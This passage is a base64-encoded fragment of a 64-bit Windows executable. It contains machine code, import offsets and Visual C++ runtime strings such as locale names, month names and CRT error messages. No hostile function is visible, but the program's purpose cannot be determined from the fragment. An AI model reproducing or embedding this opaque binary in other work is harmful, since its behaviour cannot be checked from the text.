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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQAB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wAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgAAAAAAAAAAAAAAAABSADYAMAAzADEADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHQAaABlACAAQwBSAFQAIABtAG8AcgBlACAAdABoAGEAbgAgAG8AbgBjAGUALgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgANAAoAAAAAAFIANgAwADMAMAANAAoALQAgAEMAUgBUACAAbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQADQAKAAAAAAAAAAAAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAAAAAAAAAAABSADYAMAAxADgADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAaABlAGEAcAAgAGUAcgByAG8AcgANAAoAAAAAAAAAAAAAAAAAAAAAAFIANgAwADEANwANAAoALQAgAHUAbgBlAHgAcABlAGMAdABlAGQAIABtAHUAbAB0AGkAdABoAHIAZQBhAGQAIABsAG8AYwBrACAAZQByAHIAbwByAA0ACgAAAAAAAAAAAFIANgAwADEANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHQAaAByAGUAYQBkACAAZABhAHQAYQANAAoAAAAAAAAAAAAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAAAAAAAAAAAAUgA2ADAAMAA5AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0AA0ACgAAAAAAAAAAAAAAUgA2ADAAMAA4AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAYQByAGcAdQBtAGUAbgB0AHMADQAKAAAAAAAAAAAAAAAAAAAAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAAgAAAAAAAAAQNwWAAQAAAAgAAAAAAAAAsDYFgAEAAAAJAAAAAAAAAFA2BYABAAAACgAAAAAAAAAANgWAAQAAABAAAAAAAAAAoDUFgAEAAAARAAAAAAAAAEA1BYABAAAAEgAAAAAAAADwNAWAAQAAABMAAAAAAAAAkDQFgAEAAAAYAAAAAAAAACA0BYABAAA